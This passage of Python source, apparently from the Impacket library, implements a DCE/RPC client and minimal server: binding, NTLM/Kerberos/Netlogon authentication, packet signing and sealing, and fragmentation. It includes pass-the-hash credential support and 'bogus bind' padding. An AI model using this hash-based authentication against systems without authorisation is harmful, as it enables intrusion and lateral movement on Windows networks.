'getData'):\n            return self.send(DCERPC_RawCall(function, body.getData(), uuid))\n        else:\n            return self.send(DCERPC_RawCall(function, body, uuid))\n\n    def request(self, request, uuid=None, checkError=True):\n        if self.transfer_syntax == self.NDR64Syntax:\n            request.changeTransferSyntax(self.NDR64Syntax)\n            isNDR64 = True\n        else:\n            isNDR64 = False\n\n        self.call(request.opnum, request, uuid)\n        answer = self.recv()\n\n        __import__(request.__module__)\n        module = sys.modules[request.__module__]\n        respClass = getattr(module, request.__class__.__name__ + 'Response')\n\n        if  answer[-4:] != b'\\x00\\x00\\x00\\x00' and checkError is True:\n            error_code = unpack('<L', answer[-4:])[0]\n            if error_code in rpc_status_codes:\n                # This is an error we can handle\n                exception = DCERPCException(error_code = error_code)\n            else:    \n                sessionErrorClass = getattr(module, 'DCERPCSessionError')\n                try:\n                    # Try to unpack the answer, even if it is an error, it works most of the times\n                    response =  respClass(answer, isNDR64 = isNDR64)\n                except:\n                    # No luck :(\n                    exception = sessionErrorClass(error_code = error_code)\n                else:\n                    exception = sessionErrorClass(packet = response, error_code = error_code)\n            raise exception\n        else:\n            response =  respClass(answer, isNDR64 = isNDR64)\n            return response\n\nclass DCERPC_v4(DCERPC):\n    pass\n\nclass DCERPC_v5(DCERPC):\n    def __init__(self, transport):\n        DCERPC.__init__(self, transport)\n        self.__auth_level = RPC_C_AUTHN_LEVEL_NONE\n        self.__auth_type = RPC_C_AUTHN_WINNT\n        self.__auth_type_callback = None\n        # Flags of the authenticated session. We will need them throughout the connection\n        self.__auth_flags = 0\n        self.__username = None\n        self.__password = None\n        self.__domain = ''\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = ''\n        self.__TGT    = None\n        self.__TGS    = None\n\n        self.__aesNegociated = False\n        self.__clientSigningKey = b''\n        self.__serverSigningKey = b''\n        self.__clientSealingKey = b''\n        self.__clientSealingHandle = b''\n        self.__serverSealingKey = b''\n        self.__serverSealingHandle = b''\n        self.__sequence = 0   \n\n        self.transfer_syntax = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0'))\n        self.__callid = 1\n        self._ctx = 0\n        self.__sessionKey = None\n        self.__max_xmit_size  = 0\n        self.__flags = 0\n        self.__cipher = None\n        self.__confounder = b''\n        self.__gss = None\n\n    def set_aes(self, is_aes):\n        self.__aesNegociated = is_aes\n\n    def set_session_key(self, session_key):\n        self.__sessionKey = session_key\n\n    def get_session_key(self):\n        return self.__sessionKey\n\n    def set_auth_level(self, auth_level):\n        self.__auth_level = auth_level\n\n    def set_auth_type(self, auth_type, callback = None):\n        self.__auth_type = auth_type\n        self.__auth_type_callback = callback\n\n    def get_auth_type(self):\n        return self.__auth_type\n\n    def set_max_tfrag(self, size):\n        self.__max_xmit_size = size\n    \n    def get_credentials(self):\n        return self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__TGT, self.__TGS\n\n    def set_credentials(self, username, password, domain = '', lmhash = '', nthash = '', aesKey = '', TGT = None, TGS = None):\n        self.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT)\n        self.__username = username\n        self.__password = password\n        self.__domain   = domain\n        self.__aesKey   = aesKey\n        self.__TGT      = TGT\n        self.__TGS      = TGS\n        if lmhash != '' or nthash != '':\n            if len(lmhash) % 2:\n                lmhash = '0%s' % lmhash\n            if len(nthash) % 2:\n                nthash = '0%s' % nthash\n            try: # just in case they were converted already\n                self.__lmhash = unhexlify(lmhash)\n                self.__nthash = unhexlify(nthash)\n            except:\n                self.__lmhash = lmhash\n                self.__nthash = nthash\n                pass\n\n    def bind(self, iface_uuid, alter = 0, bogus_binds = 0, transfer_syntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')):\n        bind = MSRPCBind()\n        #item['TransferSyntax']['Version'] = 1\n        ctx = self._ctx\n        for i in range(bogus_binds):\n            item = CtxItem()\n            item['ContextID'] = ctx\n            item['TransItems'] = 1\n            item['ContextID'] = ctx\n            # We generate random UUIDs for bogus binds\n            item['AbstractSyntax'] = generate() + stringver_to_bin('2.0')\n            item['TransferSyntax'] = uuidtup_to_bin(transfer_syntax)\n            bind.addCtxItem(item)\n            self._ctx += 1\n            ctx += 1\n\n        # The true one :)\n        item = CtxItem()\n        item['AbstractSyntax'] = iface_uuid\n        item['TransferSyntax'] = uuidtup_to_bin(transfer_syntax)\n        item['ContextID'] = ctx\n        item['TransItems'] = 1\n        bind.addCtxItem(item)\n\n        packet = MSRPCHeader()\n        packet['type'] = MSRPC_BIND\n        packet['pduData'] = bind.getData()\n        packet['call_id'] = self.__callid\n\n        if alter:\n            packet['type'] = MSRPC_ALTERCTX\n\n        if self.__auth_level != RPC_C_AUTHN_LEVEL_NONE:\n            if (self.__username is None) or (self.__password is None):\n                self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__TGT, self.__TGS = self._transport.get_credentials()\n\n            if self.__auth_type == RPC_C_AUTHN_WINNT:\n                auth = ntlm.getNTLMSSPType1('', '', signingRequired=True,\n                                            use_ntlmv2=self._transport.doesSupportNTLMv2())\n            elif self.__auth_type == RPC_C_AUTHN_NETLOGON:\n                from impacket.dcerpc.v5 import nrpc\n                auth = nrpc.getSSPType1(self.__username[:-1], self.__domain, signingRequired=True)\n            elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:\n                self.__cipher, self.__sessionKey, auth = kerberosv5.getKerberosType1(self.__username, self.__password,\n                                                                                     self.__domain, self.__lmhash,\n                                                                                     self.__nthash, self.__aesKey,\n                                                                                     self.__TGT, self.__TGS,\n                                                                                     self._transport.getRemoteName(),\n                                                                                     self._transport.get_kdcHost())\n            else:\n                raise DCERPCException('Unsupported auth_type 0x%x' % self.__auth_type)\n\n            sec_trailer = SEC_TRAILER()\n            sec_trailer['auth_type']   = self.__auth_type\n            sec_trailer['auth_level']  = self.__auth_level\n            sec_trailer['auth_ctx_id'] = self._ctx + 79231 \n\n            pad = (4 - (len(packet.get_packet()) % 4)) % 4\n            if pad != 0:\n               packet['pduData'] += b'\\xFF'*pad\n               sec_trailer['auth_pad_len']=pad\n\n            packet['sec_trailer'] = sec_trailer\n            packet['auth_data'] = auth\n\n        self._transport.send(packet.get_packet())\n\n        s = self._transport.recv()\n\n        if s != 0:\n            resp = MSRPCHeader(s)\n        else:\n            return 0 #mmm why not None?\n\n        if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R:\n            bindResp = MSRPCBindAck(resp.getData())\n        elif resp['type'] == MSRPC_BINDNAK or resp['type'] == MSRPC_FAULT:\n            if resp['type'] == MSRPC_FAULT:\n                resp = MSRPCRespHeader(resp.getData())\n                status_code = unpack('<L', resp['pduData'][:4])[0]\n            else:\n                resp = MSRPCBindNak(resp['pduData'])\n                status_code = resp['RejectedReason']\n            if status_code in rpc_status_codes:\n                raise DCERPCException(error_code = status_code)\n            elif status_code in rpc_provider_reason:\n                raise DCERPCException(\"Bind context rejected: %s\" % rpc_provider_reason[status_code])\n            else:\n                raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)\n        else:\n            raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])\n\n        # check ack results for each context, except for the bogus ones\n        for ctx in range(bogus_binds+1,bindResp['ctx_num']+1):\n            ctxItems = bindResp.getCtxItem(ctx)\n            if ctxItems['Result'] != 0:\n                msg = \"Bind context %d rejected: \" % ctx\n                msg += rpc_cont_def_result.get(ctxItems['Result'], 'Unknown DCE RPC context result code: %.4x' % ctxItems['Result'])\n                msg += \"; \"\n                reason = bindResp.getCtxItem(ctx)['Reason']\n                msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason)\n                if (ctxItems['Result'], reason) == (2, 1): # provider_rejection, abstract syntax not supported\n                    msg += \" (this usually means the interface isn't listening on the given endpoint)\"\n                raise DCERPCException(msg)\n\n            # Save the transfer syntax for later use\n            self.transfer_syntax = ctxItems['TransferSyntax'] \n\n        # The received transmit size becomes the client's receive size, and the received receive size becomes the client's transmit size.\n        self.__max_xmit_size = bindResp['max_rfrag']\n\n        if self.__auth_level != RPC_C_AUTHN_LEVEL_NONE:\n            if self.__auth_type == RPC_C_AUTHN_WINNT:\n                response, self.__sessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username,\n                                                                   self.__password, self.__domain, self.__lmhash,\n                                                                   self.__nthash,\n                                                                   use_ntlmv2=self._transport.doesSupportNTLMv2())\n                self.__flags = response['flags']\n            elif self.__auth_type == RPC_C_AUTHN_NETLOGON:\n                response = None\n            elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:\n                self.__cipher, self.__sessionKey, response = kerberosv5.getKerberosType3(self.__cipher,\n                                                                                         self.__sessionKey,\n                                                                                         bindResp['auth_data'])\n\n            self.__sequence = 0\n\n            if self.__auth_level in (RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY):\n                if self.__auth_type == RPC_C_AUTHN_WINNT:\n                    if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                        self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, self.__sessionKey)\n                        self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, self.__sessionKey,b\"Server\")\n                        self.__clientSealingKey = ntlm.SEALKEY(self.__flags, self.__sessionKey)\n                        self.__serverSealingKey = ntlm.SEALKEY(self.__flags, self.__sessionKey,b\"Server\")\n                        # Preparing the keys handle states\n                        cipher3 = ARC4.new(self.__clientSealingKey)\n                        self.__clientSealingHandle = cipher3.encrypt\n                        cipher4 = ARC4.new(self.__serverSealingKey)\n                        self.__serverSealingHandle = cipher4.encrypt\n                    else:\n                        # Same key for everything\n                        self.__clientSigningKey = self.__sessionKey\n                        self.__serverSigningKey = self.__sessionKey\n                        self.__clientSealingKey = self.__sessionKey\n                        self.__serverSealingKey = self.__sessionKey\n                        cipher = ARC4.new(self.__clientSigningKey)\n                        self.__clientSealingHandle = cipher.encrypt\n                        self.__serverSealingHandle = cipher.encrypt\n                elif self.__auth_type == RPC_C_AUTHN_NETLOGON:\n                    if self.__auth_level == RPC_C_AUTHN_LEVEL_PKT_INTEGRITY:\n                        self.__confounder = b''\n                    else:\n                        self.__confounder = b'12345678'\n\n            sec_trailer = SEC_TRAILER()\n            sec_trailer['auth_type'] = self.__auth_type\n            sec_trailer['auth_level'] = self.__auth_level\n            sec_trailer['auth_ctx_id'] = self._ctx + 79231 \n\n            if response is not None:\n                if self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:\n                    alter_ctx = MSRPCHeader()\n                    alter_ctx['type'] = MSRPC_ALTERCTX\n                    alter_ctx['pduData'] = bind.getData()\n                    alter_ctx['sec_trailer'] = sec_trailer\n                    alter_ctx['auth_data'] = response\n                    self._transport.send(alter_ctx.get_packet(), forceWriteAndx = 1)\n                    self.__gss = gssapi.GSSAPI(self.__cipher)\n                    self.__sequence = 0\n                    self.recv()\n                    self.__sequence = 0\n                else:\n                    auth3 = MSRPCHeader()\n                    auth3['type'] = MSRPC_AUTH3\n                    # pad (4 bytes): Can be set to any arbitrary value when set and MUST be \n                    # ignored on receipt. The pad field MUST be immediately followed by a \n                    # sec_trailer structure whose layout, location, and alignment are as \n                    # specified in section 2.2.2.11\n                    auth3['pduData'] = b'    '\n                    auth3['sec_trailer'] = sec_trailer\n                    auth3['auth_data'] = response.getData()\n\n                    # Use the same call_id\n                    self.__callid = resp['call_id']\n                    auth3['call_id'] = self.__callid\n                    self._transport.send(auth3.get_packet(), forceWriteAndx = 1)\n\n            self.__callid += 1\n\n        return resp     # means packet is signed, if verifier is wrong it fails\n\n    def _transport_send(self, rpc_packet, forceWriteAndx = 0, forceRecv = 0):\n        rpc_packet['ctx_id'] = self._ctx\n        rpc_packet['sec_trailer'] = b''\n        rpc_packet['auth_data'] = b''\n\n        if self.__auth_level in [RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY]:\n            # Dummy verifier, just for the calculations\n            sec_trailer = SEC_TRAILER()\n            sec_trailer['auth_type'] = self.__auth_type\n            sec_trailer['auth_level'] = self.__auth_level\n            sec_trailer['auth_pad_len'] = 0\n            sec_trailer['auth_ctx_id'] = self._ctx + 79231 \n\n            pad = (4 - (len(rpc_packet.get_packet()) % 4)) % 4\n            if pad != 0:\n                rpc_packet['pduData'] += b'\\xBB'*pad\n                sec_trailer['auth_pad_len']=pad\n\n            rpc_packet['sec_trailer'] = sec_trailer.getData()\n            rpc_packet['auth_data'] = b' '*16\n\n            plain_data = rpc_packet['pduData']\n            if self.__auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY:\n                if self.__auth_type == RPC_C_AUTHN_WINNT:\n                    if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                        # When NTLM2 is on, we sign the whole pdu, but encrypt just\n                        # the data, not the dcerpc header. Weird..\n                        sealedMessage, signature =  ntlm.SEAL(self.__flags, \n                               self.__clientSigningKey, \n                               self.__clientSealingKey,  \n                               rpc_packet.get_packet()[:-16], \n                               plain_data, \n                               self.__sequence, \n                               self.__clientSealingHandle)\n                    else:\n                        sealedMessage, signature =  ntlm.SEAL(self.__flags, \n                               self.__clientSigningKey, \n                               self.__clientSealingKey,  \n                               plain_data, \n                               plain_data, \n                               self.__sequence, \n                               self.__clientSealingHandle)\n                elif self.__auth_type == RPC_C_AUTHN_NETLOGON:\n                    from impacket.dcerpc.v5 import nrpc\n                    sealedMessage, signature = nrpc.SEAL(plain_data, self.__confounder, self.__sequence, self.__sessionKey, self.__aesNegociated)\n                elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:\n                    sealedMessage, signature = self.__gss.GSS_Wrap(self.__sessionKey, plain_data, self.__sequence)\n\n                rpc_packet['pduData'] = sealedMessage\n            elif self.__auth_level == RPC_C_AUTHN_LEVEL_PKT_INTEGRITY: \n                if self.__auth_type == RPC_C_AUTHN_WINNT:\n                    if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                        # Interesting thing.. with NTLM2, what is is signed is the \n                        # whole PDU, not just the data\n                        signature =  ntlm.SIGN(self.__flags,\n                               self.__clientSigningKey, \n                               rpc_packet.get_packet()[:-16], \n                               self.__sequence, \n                               self.__clientSealingHandle)\n                    else:\n                        signature =  ntlm.SIGN(self.__flags, \n                               self.__clientSigningKey, \n                               plain_data, \n                               self.__sequence, \n                               self.__clientSealingHandle)\n                elif self.__auth_type == RPC_C_AUTHN_NETLOGON:\n                    from impacket.dcerpc.v5 import nrpc\n                    signature = nrpc.SIGN(plain_data, \n                           self.__confounder, \n                           self.__sequence, \n                           self.__sessionKey, \n                           self.__aesNegociated)\n                elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:\n                    signature = self.__gss.GSS_GetMIC(self.__sessionKey, plain_data, self.__sequence)\n\n            rpc_packet['sec_trailer'] = sec_trailer.getData()\n            rpc_packet['auth_data'] = signature\n\n            self.__sequence += 1\n\n        self._transport.send(rpc_packet.get_packet(), forceWriteAndx = forceWriteAndx, forceRecv = forceRecv)\n\n    def send(self, data):\n        if isinstance(data, MSRPCHeader) is not True:\n            # Must be an Impacket, transform to structure\n            data = DCERPC_RawCall(data.OP_NUM, data.get_packet())\n\n        try:\n            if data['uuid'] != b'':\n                data['flags'] |= PFC_OBJECT_UUID\n        except:\n            # Structure doesn't have uuid\n            pass\n        data['ctx_id'] = self._ctx\n        data['call_id'] = self.__callid\n        data['alloc_hint'] = len(data['pduData'])\n        # We should fragment PDUs if:\n        # 1) Payload exceeds __max_xmit_size received during BIND response\n        # 2) We'e explicitly fragmenting packets with lower values\n        should_fragment = False\n\n        # Let's decide what will drive fragmentation for this request\n        if self._max_user_frag > 0:\n            # User set a frag size, let's compare it with the max transmit size agreed when binding the interface\n            fragment_size = min(self._max_user_frag, self.__max_xmit_size)\n        else:\n            fragment_size = self.__max_xmit_size\n\n        # Sanity check. Fragmentation can't be too low, otherwise sec_trailer won't fit\n\n        if self.__auth_level in [RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY]:\n            if fragment_size <= 8:\n                # Minimum pdu fragment size is 8, important when doing PKT_INTEGRITY/PRIVACY. We need a minimum size of 8\n                # (Kerberos)\n                fragment_size = 8\n\n        # ToDo: Better calculate the size needed. Now I'm setting a number that surely is enough for Kerberos and NTLM\n        # ToDo: trailers, both for INTEGRITY and PRIVACY. This means we're not truly honoring the user's frag request.\n        if len(data['pduData']) + 128 > fragment_size:\n            should_fragment = True\n            if fragment_size+128 > self.__max_xmit_size:\n                fragment_size = self.__max_xmit_size - 128\n\n        if should_fragment:\n            packet = data['pduData']\n            offset = 0\n\n            while 1:\n                toSend = packet[offset:offset+fragment_size]\n                if not toSend:\n                    break\n                if offset == 0:\n                    data['flags'] |= PFC_FIRST_FRAG\n                else:\n                    data['flags'] &= (~PFC_FIRST_FRAG)\n                offset += len(toSend)\n                if offset >= len(packet):\n                    data['flags'] |= PFC_LAST_FRAG\n                else:\n                    data['flags'] &= (~PFC_LAST_FRAG)\n                data['pduData'] = toSend\n                self._transport_send(data, forceWriteAndx = 1, forceRecv =data['flags'] & PFC_LAST_FRAG)\n        else:\n            self._transport_send(data)\n        self.__callid += 1\n\n    def recv(self):\n        finished = False\n        forceRecv = 0\n        retAnswer = b''\n        while not finished:\n            # At least give me the MSRPCRespHeader, especially important for \n            # TCP/UDP Transports\n            response_data = self._transport.recv(forceRecv, count=MSRPCRespHeader._SIZE)\n            response_header = MSRPCRespHeader(response_data)\n            # Ok, there might be situation, especially with large packets, that \n            # the transport layer didn't send us the full packet's contents\n            # So we gotta check we received it all\n            while len(response_data) < response_header['frag_len']:\n               response_data += self._transport.recv(forceRecv, count=(response_header['frag_len']-len(response_data)))\n\n            off = response_header.get_header_size()\n\n            if response_header['type'] == MSRPC_FAULT and response_header['frag_len'] >= off+4:\n                status_code = unpack(\"<L\",response_data[off:off+4])[0]\n                if status_code in rpc_status_codes:\n                    raise DCERPCException(rpc_status_codes[status_code])\n                elif status_code & 0xffff in rpc_status_codes:\n                    raise DCERPCException(rpc_status_codes[status_code & 0xffff])\n                else:\n                    if status_code in hresult_errors.ERROR_MESSAGES:\n                        error_msg_short = hresult_errors.ERROR_MESSAGES[status_code][0]\n                        error_msg_verbose = hresult_errors.ERROR_MESSAGES[status_code][1] \n                        raise DCERPCException('%s - %s' % (error_msg_short, error_msg_verbose))\n                    else:\n                        raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)\n\n            if response_header['flags'] & PFC_LAST_FRAG:\n                # No need to reassembly DCERPC\n                finished = True\n            else:\n                # Forcing Read Recv, we need more packets!\n                forceRecv = 1\n\n            answer = response_data[off:]\n            auth_len = response_header['auth_len']\n            if auth_len:\n                auth_len += 8\n                auth_data = answer[-auth_len:]\n                sec_trailer = SEC_TRAILER(data = auth_data)\n                answer = answer[:-auth_len]\n\n                if sec_trailer['auth_level'] == RPC_C_AUTHN_LEVEL_PKT_PRIVACY:\n                    if self.__auth_type == RPC_C_AUTHN_WINNT:\n                        if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                            # TODO: FIX THIS, it's not calculating the signature well\n                            # Since I'm not testing it we don't care... yet\n                            answer, signature =  ntlm.SEAL(self.__flags, \n                                    self.__serverSigningKey, \n                                    self.__serverSealingKey,  \n                                    answer, \n                                    answer, \n                                    self.__sequence, \n                                    self.__serverSealingHandle)\n                        else:\n                            answer, signature = ntlm.SEAL(self.__flags, \n                                    self.__serverSigningKey, \n                                    self.__serverSealingKey, \n                                    answer, \n                                    answer, \n                                    self.__sequence, \n                                    self.__serverSealingHandle)\n                            self.__sequence += 1\n                    elif self.__auth_type == RPC_C_AUTHN_NETLOGON:\n                        from impacket.dcerpc.v5 import nrpc\n                        answer, cfounder = nrpc.UNSEAL(answer, \n                               auth_data[len(sec_trailer):],\n                               self.__sessionKey, \n                               self.__aesNegociated)\n                        self.__sequence += 1\n                    elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:\n                        if self.__sequence > 0:\n                            answer, cfounder = self.__gss.GSS_Unwrap(self.__sessionKey, answer, self.__sequence,\n                                                                     direction='init', authData=auth_data)\n\n                elif sec_trailer['auth_level'] == RPC_C_AUTHN_LEVEL_PKT_INTEGRITY:\n                    if self.__auth_type == RPC_C_AUTHN_WINNT:\n                        ntlmssp = auth_data[12:]\n                        if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                            signature =  ntlm.SIGN(self.__flags, \n                                    self.__serverSigningKey, \n                                    answer, \n                                    self.__sequence, \n                                    self.__serverSealingHandle)\n                        else:\n                            signature = ntlm.SIGN(self.__flags, \n                                    self.__serverSigningKey, \n                                    ntlmssp, \n                                    self.__sequence, \n                                    self.__serverSealingHandle)\n                            # Yes.. NTLM2 doesn't increment sequence when receiving\n                            # the packet :P\n                            self.__sequence += 1\n                    elif self.__auth_type == RPC_C_AUTHN_NETLOGON:\n                        from impacket.dcerpc.v5 import nrpc\n                        ntlmssp = auth_data[12:]\n                        signature = nrpc.SIGN(ntlmssp, \n                               self.__confounder, \n                               self.__sequence, \n                               self.__sessionKey, \n                               self.__aesNegociated)\n                        self.__sequence += 1\n                    elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:\n                        # Do NOT increment the sequence number when Signing Kerberos\n                        #self.__sequence += 1\n                        pass\n\n                \n                if sec_trailer['auth_pad_len']:\n                    answer = answer[:-sec_trailer['auth_pad_len']]\n              \n            retAnswer += answer\n        return retAnswer\n\n    def alter_ctx(self, newUID, bogus_binds = 0):\n        answer = self.__class__(self._transport)\n\n        answer.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,\n                               self.__aesKey, self.__TGT, self.__TGS)\n        answer.set_auth_type(self.__auth_type)\n        answer.set_auth_level(self.__auth_level)\n\n        answer.set_ctx_id(self._ctx+1)\n        answer.__callid = self.__callid\n        answer.bind(newUID, alter = 1, bogus_binds = bogus_binds, transfer_syntax = bin_to_uuidtup(self.transfer_syntax))\n        return answer\n\nclass DCERPC_RawCall(MSRPCRequestHeader):\n    def __init__(self, op_num, data = b'', uuid=None):\n        MSRPCRequestHeader.__init__(self)\n        self['op_num'] = op_num\n        self['pduData'] = data\n        if uuid is not None:\n            self['flags'] |= PFC_OBJECT_UUID\n            self['uuid'] = uuid\n\n    def setData(self, data):\n        self['pduData'] = data\n\n# 2.2.6 Type Serialization Version 1\nclass CommonHeader(NDRSTRUCT):\n    structure = (\n        ('Version', UCHAR),\n        ('Endianness', UCHAR),\n        ('CommonHeaderLength', USHORT),\n        ('Filler', ULONG),\n    )\n    def __init__(self, data = None,isNDR64 = False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        if data is None:\n            self['Version'] = 1\n            self['Endianness'] = 0x10\n            self['CommonHeaderLength'] = 8\n            self['Filler'] = 0xcccccccc\n\nclass PrivateHeader(NDRSTRUCT):\n    structure = (\n        ('ObjectBufferLength', ULONG),\n        ('Filler', ULONG),\n    )\n    def __init__(self, data = None,isNDR64 = False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        if data is None:\n            self['Filler'] = 0xcccccccc\n\nclass TypeSerialization1(NDRSTRUCT):\n    commonHdr = (\n        ('CommonHeader', CommonHeader),\n        ('PrivateHeader', PrivateHeader),\n    )\n    def getData(self, soFar = 0):\n        self['PrivateHeader']['ObjectBufferLength'] = len(NDRSTRUCT.getData(self, soFar)) + len(\n            NDRSTRUCT.getDataReferents(self, soFar)) - len(self['CommonHeader']) - len(self['PrivateHeader'])\n        return NDRSTRUCT.getData(self, soFar)\n\nclass DCERPCServer(Thread):\n    \"\"\"\n    A minimalistic DCERPC Server, mainly used by the smbserver, for now. Might be useful\n    for other purposes in the future, but we should do it way stronger.\n    If you want to implement a DCE Interface Server, use this class as the base class\n    \"\"\"\n    #constructor to use with rpcrelayserver\n    def __init__(self, client_socket=None):\n        if client_socket:\n            self._clientSock = client_socket\n            self._listenUUIDS = {}\n            self._boundUUID = b''\n            self._callid = 1\n            self._max_frag = None\n            self._max_xmit_size = 4280\n            self.__log = LOG\n        else:\n            Thread.__init__(self)\n            self._listenPort    = 0\n            self._listenAddress = '127.0.0.1'\n            self._listenUUIDS   = {}\n            self._boundUUID     = b''\n            self._sock          = None\n            self._clientSock    = None\n            self._callid        = 1\n            self._max_frag       = None\n            self._max_xmit_size = 4280\n            self.__log = LOG\n            self._sock = socket.socket()\n            self._sock.bind((self._listenAddress,self._listenPort))\n\n    def set_client_socket(self, client_socket):\n        self._clientSock =client_socket\n\n    def log(self, msg, level=logging.INFO):\n        self.__log.log(level,msg)\n\n    def addCallbacks(self, ifaceUUID, secondaryAddr, callbacks):\n        \"\"\"\n        adds a call back to a UUID/opnum call\n        \n        :param uuid ifaceUUID: the interface UUID\n        :param string secondaryAddr: the secondary address to answer as part of the bind request (e.g. \\\\\\\\PIPE\\\\\\\\srvsvc)\n        :param dict callbacks: the callbacks for each opnum. Format is [opnum] = callback\n        \"\"\"\n        self._listenUUIDS[uuidtup_to_bin(ifaceUUID)] = {}\n        self._listenUUIDS[uuidtup_to_bin(ifaceUUID)]['SecondaryAddr'] = secondaryAddr\n        self._listenUUIDS[uuidtup_to_bin(ifaceUUID)]['CallBacks'] = callbacks\n        self.log(\"Callback added for UUID %s V:%s\" % ifaceUUID, level=logging.DEBUG)\n\n    def setListenAddress(self,addr):\n        self._listenAddress=addr\n        self._sock = socket.socket()\n        self._sock.bind((self._listenAddress, self._listenPort))\n\n    def setListenPort(self, portNum):\n        self._listenPort = portNum\n        self._sock = socket.socket()\n        self._sock.bind((self._listenAddress,self._listenPort))\n\n    def getListenPort(self):\n        return self._sock.getsockname()[1]\n\n    def recv(self):\n        finished = False\n        retAnswer = b''\n        response_data = b''\n        while not finished:\n            # At least give me the MSRPCRespHeader, especially important for TCP/UDP Transports\n            response_data = self._clientSock.recv(MSRPCRespHeader._SIZE)\n            # No data?, connection might have closed\n            if response_data == b'':\n                return None\n            response_header = MSRPCRespHeader(response_data)\n            # Ok, there might be situation, especially with large packets, \n            # that the transport layer didn't send us the full packet's contents\n            # So we gotta check we received it all\n            while len(response_data) < response_header['frag_len']:\n               response_data += self._clientSock.recv(response_header['frag_len']-len(response_data))\n            response_header = MSRPCRespHeader(response_data)\n            if response_header['flags'] & PFC_LAST_FRAG:\n                # No need to reassembly DCERPC\n                finished = True\n            answer = response_header['pduData']\n            auth_len = response_header['auth_len']\n            if auth_len:\n                auth_len += 8\n                auth_data = answer[-auth_len:]\n                sec_trailer = SEC_TRAILER(data = auth_data)\n                answer = answer[:-auth_len]\n                if sec_trailer['auth_pad_len']:\n                    answer = answer[:-sec_trailer['auth_pad_len']]\n              \n            retAnswer += answer\n        return response_data\n    \n    def run(self):\n        self._sock.listen(10)\n        while True:\n            self._clientSock, address = self._sock.accept()\n            try:\n                while True:\n                    data = self.recv()\n                    if data is None:\n                        # No data.. connection closed\n                        break\n                    answer = self.processRequest(data)\n                    if answer is not None:\n                        self.send(answer)\n            except Exception:\n                #import traceback\n                #traceback.print_exc()\n                pass\n            self._clientSock.close()\n\n    def send(self, data):\n        max_frag       = self._max_frag\n        if len(data['pduData']) > self._max_xmit_size - 32:\n            max_frag   = self._max_xmit_size - 32    # XXX: 32 is a safe margin for auth data\n\n        if self._max_frag:\n            max_frag   = min(max_frag, self._max_frag)\n        if max_frag and len(data['pduData']) > 0:\n            packet     = data['pduData']\n            offset     = 0\n            while 1:\n                toSend = packet[offset:offset+max_frag]\n                if not toSend:\n                    break\n                flags  = 0\n                if offset == 0:\n                    flags |= PFC_FIRST_FRAG\n                offset += len(toSend)\n                if offset == len(packet):\n                    flags |= PFC_LAST_FRAG\n                data['flags']   = flags\n                data['pduData'] = toSend\n                self._clientSock.send(data.get_packet())\n        else:\n            self._clientSock.send(data.get_packet())\n        self._callid += 1\n\n    def bind(self,packet, bind):\n        # Standard NDR Representation\n        NDRSyntax   = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')\n        resp = MSRPCBindAck()\n\n        resp['type']             = MSRPC_BINDACK\n        resp['flags']            = packet['flags']\n        resp['frag_len']         = 0\n        resp['auth_len']         = 0\n        resp['auth_data']        = b''\n        resp['call_id']          = packet['call_id'] \n        resp['max_tfrag']        = bind['max_tfrag']\n        resp['max_rfrag']        = bind['max_rfrag']\n        resp['assoc_group']      = 0x1234\n        resp['ctx_num']          = 0\n\n        data      = bind['ctx_items']\n        ctx_items = b''\n        resp['SecondaryAddrLen'] = 0\n        for i in range(bind['ctx_num']):\n            result = MSRPC_CONT_RESULT_USER_REJECT\n            item   = CtxItem(data)\n            data   = data[len(item):]\n\n            # First we check the Transfer Syntax is NDR32, what we support\n            if item['TransferSyntax'] == uuidtup_to_bin(NDRSyntax):\n                # Now Check if the interface is what we listen\n                reason = 1 # Default, Abstract Syntax not supported\n                for j in self._listenUUIDS:\n                    if item['AbstractSyntax'] == j:\n                        # Match, we accept the bind request\n                        resp['SecondaryAddr']    = self._listenUUIDS[item['AbstractSyntax']]['SecondaryAddr']\n                        resp['SecondaryAddrLen'] = len(resp['SecondaryAddr'])+1\n                        reason           = 0\n                        self._boundUUID = j\n            else:\n                # Fail the bind request for this context\n                reason = 2 # Transfer Syntax not supported\n            if reason == 0:\n               result = MSRPC_CONT_RESULT_ACCEPT\n            if reason == 1:\n                LOG.error('Bind request for an unsupported interface %s' % 